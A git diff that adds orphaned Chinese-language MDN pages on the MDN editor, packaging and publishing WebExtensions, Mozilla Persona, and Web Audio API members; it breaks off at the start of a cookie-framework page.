Page info fields for an existing article

+ +

这里可以对下列内容进行设置:

+ +
+
标题
+
标题会显示在浏览器的标题栏(或标签栏)、面包屑导航栏中,以及文章的顶部。但它不会出现在页面的URL中。
+
目录
+
指定文章中次级标题的级别深度,次级标题会自动生成目录展示在页面上。默认情况下,这里填的是从 <h2> 到 <h4> ,也就是有三级深度。当然,你也可以根据需要自由选择,比如,“没有目录”(不显示目录,如登陆页),或者“所有级别”。
+
最大渲染时长
+
确定页面自动刷新的频率。在绝大多数情况下,设置为零。
+
查找
+
对于已本地化的页面,这个字段可以帮助重新关联变成“孤儿”的页面(脱离英文原版的页面)。对于英语页面来讲,这个字段用处不大,因为,英语是 MDN 的官方语言。
+
+ +

新页面

+ +

如果你拥有创建页面权限,你就可以创建新的页面了。查看如何创建和编辑页面你可以了解到更多这方面的知识。对于创建新页面,页面信息区域看起来如下图:

+ +

Page info fields for a new page

+ +

你同样可以设置标题目录,还可以设置页面的别名,别名用于页面URL地址的最后一个部分。以只读状态显示的父地址是页面URL中网站根节点之后的部分。当你在标题输入框中输入文字的时候,别名输入框会自动生成对应的内容,其中会用下划线替代标题中的空格。

+ +
+

值得注意的是,我们推荐使用更短的别名和描述更清晰的标题。举例来说,一个关于编辑器页面控件的页面,应该取一个例如:“MDN 编辑器页面控件”的标题,而它的 URL 应该写成“MDN/Contribute/Editor/Basics/Page_controls”,其中“Page_controls”正是这个页面的别名。

+
+ +

 

diff --git a/files/zh-cn/orphaned/mdn/editor/index.html b/files/zh-cn/orphaned/mdn/editor/index.html new file mode 100644 index 0000000000..02f71ade9f --- /dev/null +++ b/files/zh-cn/orphaned/mdn/editor/index.html @@ -0,0 +1,20 @@ +--- +title: MDN 编辑指南 +slug: MDN/Editor +tags: + - MDN + - 指南 + - 文档 +translation_of: MDN/Editor +--- +
{{MDNSidebar}}
+ +
{{IncludeSubnav("/zh-CN/docs/MDN")}}
+ +

MDN Web Docs wiki 文档系统的 WYSIWYG (所见即所得)编辑器让贡献新的内容变得简单。这篇指南将告诉你如何使用它,借此来提高你的生产力。在编辑或新建新的页面之前,请阅读并遵守 Mozilla 条款

+ +

MDN 样式指南 除了告诉你如何进行格式化和样式化内容本身外,还包括我们推荐的语法和拼写规则。

+ +

{{LandingPageListSubpages}}

+ +

{{EditorGuideQuicklinks}}

diff --git a/files/zh-cn/orphaned/mdn/editor/keyboard_shortcuts/index.html b/files/zh-cn/orphaned/mdn/editor/keyboard_shortcuts/index.html new file mode 100644 index 0000000000..de23593df5 --- /dev/null +++ b/files/zh-cn/orphaned/mdn/editor/keyboard_shortcuts/index.html @@ -0,0 +1,145 @@ +--- +title: MDN 编辑器的编辑框 +slug: MDN/Editor/Edit_box +tags: + - MDN + - 快捷键 + - 编辑器 + - 编辑框 +translation_of: MDN/Editor/Keyboard_shortcuts +--- +

编辑框正是你写文章的地方,在编辑框中点击右键会根据你点击的位置打开对应的快捷菜单,比如:在表格中点击右键会弹出与编辑表格相关的菜单,在列表中右击就会弹出与列表相关的菜单。

+ +

默认情况下,编辑器会用自己的右键菜单替代浏览器默认的菜单,如果你一定要打开浏览器的默认菜单(比如,使用火狐的拼写检查功能),你可以按住 Shift 或 Control 键( Mac 的 Command 键),再点击右键。

+ +

快捷键

+ +

丰富而便捷的键盘快捷键能让你在编辑时,手不离开键盘。此处所列的是 Windows 或 Linux 系统下的快捷键,如果是 Mac,只需将 Control 替换为 Command 即可。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
快捷键描述
Ctrl + A全选
Ctrl + C复制
Ctrl + V粘贴
Ctrl + Shift + V粘贴为纯文本
Ctrl + X剪切
Ctrl + Z撤销
Ctrl + Y重做
Ctrl + K打开链接编辑器/添加新链接
Ctrl + Shift + K移除光标所在位置的链接
Ctrl + B加粗
Ctrl + I斜体
Ctrl + O切换 <code> 样式
Ctrl + Shift + O +

切换源码编辑模式

+ +
使用源码编辑模式时请格外小心,你必须按照既定的格式来编辑。请仔细阅读编辑器源码模式指南,该指南详细介绍了如何使用源码模式,以及各项注意事项。
+
Ctrl + P切换当前区域的 <pre> 样式
Ctrl + U下划线
Ctrl + S保存但不关闭编辑器
Ctrl + Shift + S保存并关闭编辑器
Ctrl + 0移除选中区域的样式(此处是数字“0”,不是字母“O”)
Ctrl + 2  至  Ctrl + 6切换标题的级别(从 2 到 6 ),一级标题仅可供文章头部的页面标题使用。
Ctrl + Shift + L在无序列表、有序列表和普通段落格式之间切换。
Tab在缩进模式下增加缩进级别,否则插入两个空格作为制表符。在表格内部,将光标移动到下一个单元格,或者在没有下一个单元格的情况下插入新行。如果光标当前位于页面标题或某个标题中,则光标跳转到下一段。
Shift + Tab在缩进模式下降低缩进水平。在表格内部,跳到前一个单元格,如果前面没有单元格,则插入新行。如果光标当前位于页面标题或某个标题中,则光标跳转到下一段。
Shift + Space插入空格(&nbsp;)
Shift + Enter +

跳出当前区域。例如,如果你当前正在某个 <pre> 区域,按下 Shift + Enter ,你将跳出这个区域,回到文章正文。

+ +
+

当前不可用,详见:{{bug('780055')}}。

+
+
+ +

参阅

+ + + +
{{MDNSidebar}}
diff --git a/files/zh-cn/orphaned/mdn/editor/source_mode/index.html b/files/zh-cn/orphaned/mdn/editor/source_mode/index.html new file mode 100644 index 0000000000..660f88267e --- /dev/null +++ b/files/zh-cn/orphaned/mdn/editor/source_mode/index.html @@ -0,0 +1,121 @@ +--- +title: 源码模式 +slug: MDN/Editor/Source_mode +translation_of: MDN/Editor/Source_mode +--- +
{{MDNSidebar}}
+ +

MDN 编辑器有个重要的按键,用来切换到源码编辑模式。此模式下,你可以看到正在编辑的文章的 HTML。这个指引使你了解 MDN wiki 源码编辑模式做什么,什么应该做,但更为重要的是,什么是不应该做的。

+ +
+

在你考虑使用源码模式之前,请注意我们强烈建议你不要使用源码模式。如果您只是为了强行符合我们的样式规范,你不应该去使用源码模式。我们确实有一些需求不启用源码模式无法做到。记得查看{{anch("Warnings and caveats")}}。

+
+ +

启用源码模式

+ +

启用源码模式很简单。在编辑器工具栏的左上角,点击“Source”或“原始碼”按钮。

+ +

Partial screenshot of the editor toolbar, with the Source mode button highlighted

+ +

对于格式化、图片之类的功能,很可能源码模式没有 WYSIWYG (所见即所得)好用,因为你可能需要滚动很远才能找到编辑器中相关源码的位置。

+ +

警告

+ +

综上所述,你应该极少会需要用到源码模式。只有一些极个别的事情才必须由修改源码实现。最终,我们会更新编辑器界面,为你展示你的修改。

+ +

MDN贡献者指南中未明确描述的所有内容均不应添加到源代码中。这意味着:

+ + + +

源码模式下编辑

+ +

一旦启用源码模式,你将可以编辑 wiki 页面的原始 HTML。虽不受编辑器约束,您应竭尽所能保持您的工作与样式指南一致,并且可以安全可靠的工作。

+ +
+

通常,您应该是在源码模式中做一些短暂的调整,而不是长时间的撰写页面。

+
+ +

不幸的是,Tab 键在源码模式中无法使用,请输入两个空格来代替。

+ +

若您使用 MDN 不允许的 HTML 元素和属性,它们会在你保存时直接被移除。此外,文档还将重新被格式化,以使之符合预期。

+ +

合理使用源码模式

+ +

在一些个别的情况下,使用源码是唯一能遵循MDN格式规范的方式。这一节涵盖了这些情况,并说明了如何在不破坏其他东西的前提下,正确使用这些功能。

+ +

在示例代码中高亮代码行

+ +

在用工具栏的块组中的PRESyntax Highlighter建立的示例代码片段块中,你会希望让某几行代码更引人注目一些。唯一实现这种事项的方式是开启源码模式,找到包含此部分代码的{{HTMLElement("pre")}}块,然后编辑<pre>标签的{{htmlattrxref("class")}}属性,加上一个highlight组件,像下面这种格式:

+ + + +

例如,如果现在的标签为<pre class="brush: js">,然后你想往第4行和第7行加个高亮,你可把它改为<pre class="brush:js; highlight:[4,7]">

+ +

我们看个更复杂的示例:

+ + + + + + + + + + + + + + +
高亮前高亮后
+
+var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+var path1 = new Path2D();
+path1.rect(10, 10, 100, 100);
+
+var path2 = new Path2D(path1);
+path2.moveTo(220, 60);
+path2.arc(170, 60, 50, 0, 2 * Math.PI);
+
+ctx.stroke(path2);
+
+ +

这里的{{HTMLElement("pre")}}标签为:<pre class="brush: js">

+
+
+var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+var path1 = new Path2D();
+path1.rect(10, 10, 100, 100);
+
+var path2 = new Path2D(path1);
+path2.moveTo(220, 60);
+path2.arc(170, 60, 50, 0, 2 * Math.PI);
+
+ctx.stroke(path2);
+ +

然后这里的<pre>标签已经改为了:<pre class="brush: js; highlight:[4,7]">

+
+ +

没有对应工具栏按钮的样式

+ +

MDN上我们用的一些样式通过通常的用户界面是无法实现的。好消息是,这些不是很常见。示例如:

+ + diff --git a/files/zh-cn/orphaned/mdn/structures/live_samples/simple_live_sample_demo/index.html b/files/zh-cn/orphaned/mdn/structures/live_samples/simple_live_sample_demo/index.html new file mode 100644 index 0000000000..d0ca0069fb --- /dev/null +++ b/files/zh-cn/orphaned/mdn/structures/live_samples/simple_live_sample_demo/index.html @@ -0,0 +1,31 @@ +--- +title: A simple demo of a live code sample +slug: MDN/Structures/Live_samples/Simple_live_sample_demo +translation_of: MDN/Structures/Live_samples/Simple_live_sample_demo +--- +
{{MDNSidebar}}

The_example

+ +

This is a very simple example showing you how to do a live demo in MDN. For more information, see Live samples.

+ +
<form>
+  <label>Try me<input type="text" name="name"></label>
+  <input type="submit" value="go">
+</form>
+ +
form {
+  border-radius: 10px;
+  background: powderblue;
+}
+ +
var f = document.querySelector('form');
+
+f.addEventListener('submit', function(ev) {
+  ev.preventDefault();
+  document.querySelectorAll('input')[1].value = 'sending';
+}, false);
+ +

{{ EmbedLiveSample('The_example', '', '', '') }}

+ +

 

+ +

 

diff --git a/files/zh-cn/orphaned/mozilla/add-ons/webextensions/package_your_extension_/index.html b/files/zh-cn/orphaned/mozilla/add-ons/webextensions/package_your_extension_/index.html new file mode 100644 index 0000000000..e7792b75d4 --- /dev/null +++ b/files/zh-cn/orphaned/mozilla/add-ons/webextensions/package_your_extension_/index.html @@ -0,0 +1,98 @@ +--- +title: 发布你的附加组件 +slug: Mozilla/Add-ons/WebExtensions/Publishing_your_WebExtension +tags: + - WebExtensions +translation_of: Mozilla/Add-ons/WebExtensions/Package_your_extension_ +--- +
{{AddonSidebar}}
+ +

一般当你完成了基于WebExtension技术的附加组件的代码编写和测试, 你可能会想与其他人分享这成果(不管出于什么目的...). Mozilla旗下有一个网站: addons.mozilla.org (简称AMO), 开发者们可以在这里发布附加组件, 而其他用户可以在这里找到这些附加组件并安装使用, 通过在AMO上发布你的附加组件, 你可以加入到我们的社区里来, 这里有一群用户和创造者, 说不准会发现几个使用你的附加组件的人哦.

+ +

你编写的附加组件并不一定需要发布在AMO上, 但是、即使你不打算在AMO上发布你的附加组件, 你也必须提交你的附加组件到AMO上来进行审核以获得签名。因为火狐浏览器会拒绝安装没有AMO签名的附加组件。

+ +

所以发布一个附加组件的流程, 可概述为:

+ +
    +
  1. 压缩你所创建的附加组件文件
  2. +
  3. AMO上创建一个属于你的账户
  4. +
  5. 上传你的压缩文件到AMO来进行签名和审核, 并选择是否在AMO上进行发布
  6. +
  7. 修复在审核中发现的任何问题
  8. +
  9. 如果你选择不在AMO上发布, 可以恢复已签名的附件组件, 并自行发布
  10. +
+ +

当你准备发布附加组件的新版本时, 你可以访问 addons.mozilla.org 的附加组件页来更新它, 并上传新的版本.
+ 需要注意的是: 你必须在这个附加组件页进行更新, 否则AMO没法知道你是要更新一个已经存在的附加组件呢, 还是要上传一个全新的附加组件呢.

+ +

如果你选择在AMO上发布你的附加组件, 之后火狐浏览器会自动检查更新. 如果你选择自行发布,  你需要在你的manifest.json中手动设置一个applications 唯一标识, 并且需要手动设置update_url属性指向你的update manifest file.

+ +
+
+

火狐浏览器把附加组件包的后缀叫做或改为".xpi", 这只是".zip"的一个扩展.

+ +

在上传附加组件到AMO的时候, 你不需要把压缩包的后缀改为".XPI".

+
+
+ +

1. 使用zip压缩你的附加组件文件

+ +

首先你的附加组件文件夹应该包含一个manifest.json和其他一些需要的文件 - javascript文件, icons文件, HTML文件等等. 你需要使用zip把它们压缩成一个文件以便上传到AMO.

+ +

注意: 请将你的附加组件目录的的所有文件压缩为zip包,而 不要直接对附加组件根目录进行压缩(见下图所示).

+ +

Windows

+ +
    +
  1. 打开你的附加组件所在的文件夹.
  2. +
  3. 选中所有文件.
  4. +
  5. 右键并选择发送到 → 压缩到(zipped)文件夹.
  6. +
+ +

+ +

Mac OS X

+ +
    +
  1. 打开你的附加组件所在的文件夹.
  2. +
  3. 选中所有文件.
  4. +
  5. 右键并选择压缩n项.
  6. +
+ +

+ +

Linux / Mac OS X Terminal

+ +
    +
  1. cd path/to/my-addon/
  2. +
  3. zip -r ../my-addon.zip *
  4. +
+ +

2. 在AMO上创建一个账户

+ +

访问https://addons.mozilla.org/. 如果你已经有一个火狐账户, 你可以直接使用它来登录. 否则, 点击"注册"并按要求创建一个火狐账户.

+ +

3. 上传你的zip压缩文件

+ +

接下来, 上传压缩后的附加组件到AMO进行签名和审查, 并选择是否发布到AMO, 更多细节, 可查看Submitting to AMO.

+ +
+

需要注意的是一旦你上传了你的附加组件(基于WebExtension技术)到AMO, 你不能使用Add-on SDK或过时的XUL/XPCOM技术来更新该附加组件. 如果你切换到了这些技术平台之一, 必须把它做为新的附加组件并重新提交.

+ +

总而言之: 像Add-on SDK和XUL/XPCOM等过时的技术体系在不久的将来都将被淘汰, WebExtensions才是唯一.

+ +

在上传你的附加组件之前,请再次检查你的zip包内没有包含其他不相关的文件.

+
+ +

4. 修复审查中出现的问题

+ +

当你上传了附加组件, AMO服务器将运行一些基本的检查并立即通知你有关的一切问题. 这些问题分为2种类型: "错误"和"警告". 如果你有错误, 你必须修复它们并重新提交, 如果只是警告, 你最好也搞定它们(当可以也忽略警告): 然后可以继续提交.

+ +

如果自动检查器没有报告任何错误, 该附件组件将进行更为详细的审核(复查). 你同样会收到审查结果并且需要修复所有问题, 然后重新提交.

+ +

5. 发布你的附加组件

+ +

如果你选择了在AMO上托管你的附加组件, 这意味着发布过程的结束. AMO会对该附加组件进行签名和发布, 之后其他用户就能下载并安装使用了.

+ +

如果你选择不在AMO上进行发布, 可以恢复已签名的附加组件, 并自行发布(比如把附件组件的压缩包直接发给别人).

+ +

 

diff --git a/files/zh-cn/orphaned/mozilla/add-ons/webextensions/porting_a_google_chrome_extension/index.html b/files/zh-cn/orphaned/mozilla/add-ons/webextensions/porting_a_google_chrome_extension/index.html new file mode 100644 index 0000000000..496abe0bd3 --- /dev/null +++ b/files/zh-cn/orphaned/mozilla/add-ons/webextensions/porting_a_google_chrome_extension/index.html @@ -0,0 +1,22 @@ +--- +title: 从 Google Chrome 移植 +slug: Mozilla/Add-ons/WebExtensions/Porting_from_Google_Chrome +tags: + - WebExtensions +translation_of: Mozilla/Add-ons/WebExtensions/Porting_a_Google_Chrome_extension +--- +
{{AddonSidebar}}
+ +

使用 WebExtension API 开发的扩展是专为跨浏览器兼容而设计的:很大程度上,该技术与 Google Chrome 和 Opera 支持的扩展 API 代码直接兼容。为这些浏览器编写的扩展,在大多数情况下,只需少数修改就能在 Firefox 中运行。几乎所有的扩展 API 都支持使用 chrome 命名空间下的回调函数,跟 Chrome 一样。那些仅有的 chrome 命名空间不支持的 API 是故意不与 Chrome 兼容的。这些情况下,API 文档页将明确声明它仅在 browser 命名空间中受支持。从 Chrome 或者 Opera 移植一个扩展的过程大概这样:

+ +
    +
  1. 检查你 manifest.json 使用的功能并了解 WebExtension API 对应的 Chrome 不兼容参考表。如果你在使用的功能或者 API 还未被 Firefox 支持,那你可能还不能移植你的扩展。Mozilla 提供了一个服务可助您自动执行此步:https://www.extensiontest.com/
  2. +
  3. 安装你的扩展至 Firefox 并对其进行测试。
  4. +
  5. 如有任何问题,可通过 dev-addons 邮件列表IRC 上的 #webextensions 联系我们。
  6. +
  7. 提交您的附加组件至 AMO 以供签名及分发
  8. +
+ +

如果您依赖 Chrome 命令行选项来加载解压的扩展,请参看 Firefox 中进行临时安装的 web-ext 工具以便开发。

+ + diff --git a/files/zh-cn/orphaned/mozilla/add-ons/webextensions/temporary_installation_in_firefox/index.html b/files/zh-cn/orphaned/mozilla/add-ons/webextensions/temporary_installation_in_firefox/index.html new file mode 100644 index 0000000000..654aaea253 --- /dev/null +++ b/files/zh-cn/orphaned/mozilla/add-ons/webextensions/temporary_installation_in_firefox/index.html @@ -0,0 +1,83 @@ +--- +title: 打包和安装 +slug: Mozilla/Add-ons/WebExtensions/Packaging_and_installation +translation_of: Mozilla/Add-ons/WebExtensions/Temporary_Installation_in_Firefox +translation_of_original: Mozilla/Add-ons/WebExtensions/Packaging_and_installation +--- +

打包你的扩展

+ +

Firefox 扩展应打包为 XPI 文件。它只是一个 ZIP 文件,但采用 .xpi 作为扩展名。

+ +

最重要的一点,ZIP 文件必须是扩展文件的 ZIP 打包,不能包含一层根目录。

+ +

Windows

+ +
    +
  1. 打开你的扩展文件所在的文件夹。
  2. +
  3. 选择所有文件。
  4. +
  5. 右击并选择 发送到 → 压缩(zipped)文件夹。
  6. +
  7. 将得到的文件从 文件名.zip 重命名为 文件名.xpi
  8. +
+ +

Screenshot of the Windows Explorer context menu showing Send to compressed (zipped) folder

+ +

Mac OS X

+ +
    +
  1. 打开你的扩展文件所在的文件夹。
  2. +
  3. 选择所有文件。
  4. +
  5. 右击并选择 压缩 n 项。
  6. +
  7. 将得到的文件从 Archive.zip 重命名为  文件名.xpi
  8. +
+ +

Screenshot of the Finder context menu showing the Compress 15 Items option

+ +

Linux / Mac OS X 终端

+ +
    +
  1. cd path/to/my-extension/
  2. +
  3. zip -r ../my-extension.xpi *
  4. +
+ +

安装你的扩展

+ +
    +
  1. 导航到 about:addons
  2. +
  3. 拖拽 XPI 到页面上,或者打开齿轮菜单,选择“从文件安装附加组件...”
  4. +
  5. 点击弹出的对话框中的“安装”
  6. +
+ +

在 Firefox OS 上安装你的扩展

+ +

你可以使用 WebIDE 提供的 USB 或者 Wifi 进行安装

+ +

故障排除

+ +

下面是几种你可能会遇到的常见问题:

+ +

"此附加组件无法安装,因为它未经验证。"

+ + + +

"该附加组件无法安装,因为它似乎已损坏。"

+ + + +

完全没反应

+ + diff --git a/files/zh-cn/orphaned/mozilla/mozilla_persona/index.html b/files/zh-cn/orphaned/mozilla/mozilla_persona/index.html new file mode 100644 index 0000000000..583cb6cb5a --- /dev/null +++ b/files/zh-cn/orphaned/mozilla/mozilla_persona/index.html @@ -0,0 +1,155 @@ +--- +title: Mozilla Persona +slug: Mozilla/Mozilla_Persona +tags: + - Mozilla + - Persona +--- +
+

保持联系或获取帮助!

+

关注 我们的 blog,加入 我们的邮件列表,或在 IRC 中的 #identity 找到我们。

+
+

Mozilla Persona 是一个用于 web 的完全去中心化且安全的验证系统,基于开放 BrowserID 协议。Mozilla 当前管理一个 Persona 相关的一个可选的、中心化服务的一小组套件。

+

为什么你和你的站点应该使用 Persona?

+
    +
  1. Persona 完全消除了站点特定的密码, 把用户和网站从创建、管理和安全存放密码的责任中解放出来。
  2. +
  3. Persona 易于使用。只需点击两次,一个 Persona 用户可以登入到一个诸如 VoostThe Times Crossword 的新站点,绕开了账户创建相关的摩擦。
  4. +
  5. Persona 易于实现。开发人员在一个下午就可以把 Persona 添加到站点上。
  6. +
  7. 最好的是,不会被锁定。 开发人员获取所有他们用户的验证过的邮件地址,而用户可以在 Persona 上使用任何邮件地址。
  8. +
  9. Persona 基于 BrowserID 协议构建。一旦流行的浏览器供应商实现了 BrowserID,它们不再需要依赖于 Mozilla 来登入。
  10. +
+

继续阅读来开始!

+
+ 注意:Persona 在活跃开发中。关注我们的 blog 来了解新特性,或加入我们的邮件列表来提供反馈!
+

在你的站点上使用 Persona

+ + + + + + + + + + + +
+

准备开始

+
+
+ 为什么使用 Persona?
+
+ 了解在你的站点上支持 Persona 的原因和它与其它身份验证系统的区别。
+
+ 快速安装
+
+ 一份快捷的攻略,展示了如何向你的网站中添加 Persona。
+
+
+

Persona API 参考

+
+
+ navigator.id API 参考
+
+ navigator.id 对象的参考,web 开发者可以用此来把 Persona 继承到站点中。
+
+ 验证 API 参考
+
+ 建立在 https://verifier.login.persona.org/verify 上的远程验证 API 的参考。
+
+
+

指导

+
+
+ 安全考虑
+
+ 确保 Persona 部署安全的实践和技术。
+
+ 浏览器兼容性
+
+ 准确获知哪些浏览器支持 Persona。
+
+ 国际化
+
+ 了解 Persona 如何处理不同的语言。
+
+
+

资源

+
+
+ 库和插件
+
+ 寻找你偏好的编程语言、web 框架、博客或是内容管理系统(CMS)的即插库。
+
+ Persona cookbook
+
+ Persona 站点的示例源代码。包括 PHP、Node.JS 等等的片段。
+
+ 品牌资源
+
+ 登入按钮和其它向用户表现 Persona 的图形。
+
+
+

 

+ + + + + + + +
+

给身份提供者的信息

+

如果你是一个电子邮件提供商或另一个身份提供服务,翻阅下面的链接来获知如何成为一个 Persona 身份提供者。

+
+
+ IdP 概述
+
+ Persona 身份提供者的高层视角。
+
+ 实现一个 IdP
+
+ 成为一个 IdP 的详细技术细节指导。
+
+ 开发提示
+
+ 开发一个新的身份提供者的一系列开发提示和技巧。
+
+ .well-known/browserid
+
+ .well-known/browserid 文件的结构和用途概述,这个文件被 IdPs 用于通知它们支持这个协议。
+
+
+

Persona 项目

+
+
+ 术语表
+
+ BrowserID 和 Persona 定义的术语。
+
+ FAQ
+
+ 常见问题的回答。
+
+ 协议概述
+
+ 底层 BrowserID 协议的中等技术概述。
+
+ 加密
+
+ 一瞥 Persona 和 BrowserID 背后的密码学概念。
+
+ 协议规范
+
+ 这里是深层技术细节。
+
+ Persona 网站
+
+ 要让 Persona 运作, 我们在https://login.persona.org 建立了三个服务:一个备用身份提供者、一个可迁移的 {{ domxref("navigator.id") }} API 实现以及一个身份断言验证服务。
+
+ Persona 源码
+
+ Persona 网站背后的源码托管在 GitHub 的一个仓库上。欢迎提交补丁!
+
+
+

 

diff --git a/files/zh-cn/orphaned/tools/add-ons/index.html b/files/zh-cn/orphaned/tools/add-ons/index.html new file mode 100644 index 0000000000..7c50cee424 --- /dev/null +++ b/files/zh-cn/orphaned/tools/add-ons/index.html @@ -0,0 +1,6 @@ +--- +title: 组件 +slug: Tools/Add-ons +translation_of: Tools/Add-ons +--- +
{{ToolsSidebar}}

开发者工具没有内置到Firefox里面,而是作为组件的方式存在。

diff --git a/files/zh-cn/orphaned/web/api/analysernode/fft/index.html b/files/zh-cn/orphaned/web/api/analysernode/fft/index.html new file mode 100644 index 0000000000..f553738351 --- /dev/null +++ b/files/zh-cn/orphaned/web/api/analysernode/fft/index.html @@ -0,0 +1,7 @@ +--- +title: Directory failure 目录失效 +slug: Web/API/AnalyserNode/fft +--- +

目录失效

+ +

Directory failure

diff --git a/files/zh-cn/orphaned/web/api/audiocontext/mozaudiochanneltype/index.html b/files/zh-cn/orphaned/web/api/audiocontext/mozaudiochanneltype/index.html new file mode 100644 index 0000000000..2b7022c1ce --- /dev/null +++ b/files/zh-cn/orphaned/web/api/audiocontext/mozaudiochanneltype/index.html @@ -0,0 +1,95 @@ +--- +title: AudioContext.mozAudioChannelType +slug: Web/API/AudioContext/mozAudioChannelType +translation_of: Web/API/AudioContext/mozAudioChannelType +--- +

{{APIRef("Web Audio API")}} {{Non-standard_header}}

+ +

{{domxref("AudioContext")}}的mozAudioChannelType属性是只读的,在Firefox OS设备上可以用来设置音频在audio context中播放的声道。

+ +

该属性是AudioChannels API中定义的非标准属性,更多信息请查看Using the AudioChannels API

+ +

语法

+ +
var audioCtx = new AudioContext();
+var myAudioChannelType = audioCtx.mozAudioChannelType;
+
+ +

只能通过下面的构造器来设置AudioContext中音频的声道:

+ +
var audioCtx = new AudioContext('ringer');
+ +

返回值

+ +

A {{domxref("DOMString")}} value.

+ +

例子

+ +

TBD

+ +

规范

+ +

AudioChannels API目前没有官方规范,实现细节请查看https://wiki.mozilla.org/WebAPI/AudioChannels、WebIDL等等

+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
General support{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChromeFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
General support{{CompatNo}}{{CompatNo}}{{CompatNo}}1.2{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

另见

+ + diff --git a/files/zh-cn/orphaned/web/api/audionode/connect(audioparam)/index.html b/files/zh-cn/orphaned/web/api/audionode/connect(audioparam)/index.html new file mode 100644 index 0000000000..eb82534aed --- /dev/null +++ b/files/zh-cn/orphaned/web/api/audionode/connect(audioparam)/index.html @@ -0,0 +1,163 @@ +--- +title: AudioNode.connect(AudioParam) +slug: Web/API/AudioNode/connect(AudioParam) +translation_of: Web/API/AudioNode/connect(AudioParam) +--- +

{{ APIRef("Web Audio API") }}

+ +
+

允许我们将当前节点的一个输出连接到音频参数的一个输入,并允许通过音频信号控制参数。
+ 使AudioNode输出连接到多个AudioParam,并将多个AudioNode输出连接到单个 AudioParam,同时多次调用connect()。因此支持Fan-in and fan-out。
+  AudioParam可以从连接到它的任何AudioNode输出获取渲染的音频数据,并通过下混合将其转换为单声道(如果本身不是单声道的话)。然后,它将其他这样的输出和固定参数混合( AudioParam的值通常没有任何连接),包括为参数调度的任何时间的变化。
+ 因此,可以通过将AudioParam的值设置为中心频率来选择AudioParam将要更改的范围,并使用音频源和AudioParam之间的GainNode来调整AudioParam更改的范围。

+
+ +

Syntax

+ +
var lfo = audioCtx.createOscillator();
+lfo.frequency.value = 2.0; // Hz, two times per second
+
+var lfoGain = audioCtx.createGain();
+lfoGain.gain.value = 0.5;
+
+// this is the parameter that is going to be modulated
+var gain = audioCtx.createGain();
+gain.gain.value = 0.5;
+
+// Oscillators go from -1 to 1
+// Make it go from -0.5 to +0.5 by connecting it to a GainNode with a gain value of 0.5
+lfo.connect(lfoGain);
+
+// because the value of the gain.gain AudioParam is originaly 0.5, the value is added, and it will go from 0.0 to 1.0
+lfoGain.connect(gain.gain);
+
+lfo.connect(gain.gain);
+ +
+

Note: There can only be one connection between an output from one specific AudioNode and an {{ domxref("AudioParam") }}. Multiple connections to the same termini are equivalent to a single such connection (the duplicates are ignored).

+
+ +

Returns

+ +

Void.

+ +

Example

+ +

In this example, we will be altering the gain value of a {{domxref("GainNode")}} using an {{domxref("OscillatorNode")}} with a slow frequency value. This technique is know as an LFO-controlled parameter.

+ +
var AudioContext = window.AudioContext || window.webkitAudioContext;
+
+var audioCtx = new AudioContext();
+
+// create an normal oscillator to make sound
+var oscillator = audioCtx.createOscillator();
+
+// create a second oscillator that will be used as an LFO (Low-frequency
+// oscillator), and will control a parameter
+var lfo = audioCtx.createOscillator();
+
+// set the frequency of the second oscillator to a low number
+lfo.frequency.value = 2.0; // 2Hz: two oscillations par second
+
+// create a gain whose gain AudioParam will be controlled by the LFO
+var gain = audioCtx.createGain();
+
+// connect the LFO to the gain AudioParam. This means the value of the LFO
+// will not produce any audio, but will change the value of the gain instead
+lfo.connect(gain.gain);
+
+// connect the oscillator that will produce audio to the gain
+oscillator.connect(gain);
+
+// connect the gain to the destination so we hear sound
+gain.connect(audioCtx.destination);
+
+// start the oscillator that will produce audio
+oscillator.start();
+
+// start the oscillator that will modify the gain value
+lfo.start();
+ +

Parameters

+ +
+
Destination
+
The {{ domxref("AudioParam") }} you are connecting to.
+
Output (optional)
+
An index describing which output of the current AudioNode you want to connect to the {{ domxref("AudioParam") }}. The index numbers are defined according to the number of output channels (see Audio channels.)  If this parameter is out-of-bound, an INDEX_SIZE_ERR exception is thrown.
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioNode-connect-void-AudioParam-destination-unsigned-long-output', 'connect(AudioParam)')}}{{Spec2('Web Audio API')}} 
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
connect(AudioParam){{CompatVersionUnknown}} {{property_prefix("webkit")}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OS (Gecko)IE PhoneOpera MobileSafari Mobile
connect(AudioParam){{CompatNo}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

See also

+ + diff --git a/files/zh-cn/orphaned/web/api/document/cookie/simple_document.cookie_framework/index.html b/files/zh-cn/orphaned/web/api/document/cookie/simple_document.cookie_framework/index.html new file mode 100644 index 0000000000..450751cefa --- /dev/null +++ b/files/zh-cn/orphaned/web/api/document/cookie/simple_document.cookie_framework/index.html @@ -0,0 +1,218 @@ +--- +title: 简单的cookie框架 +slug: Web/API/Document/cookie/Simple_document.cookie_framework +tags: + - Cookies + - cookie +translation_of: Web/API/Document/cookie/Simple_document.cookie_framework +--- +

一个小型框架: 一个完整的cookies读/写器对Unicode充分支持

+ +

由于Cookie只是特殊格式的字符串,因此有时很难管理它们。 以下库旨在通过定义一个与一个Storage 对象部分一致的对象(docCookies)来抽象对document.cookie的访问。

+ +

 以下代码也在GitHub上获取。它是基于GNU General Public License v3.0 许可 (许可链接)

+ +
+ +
/*\
+|*|
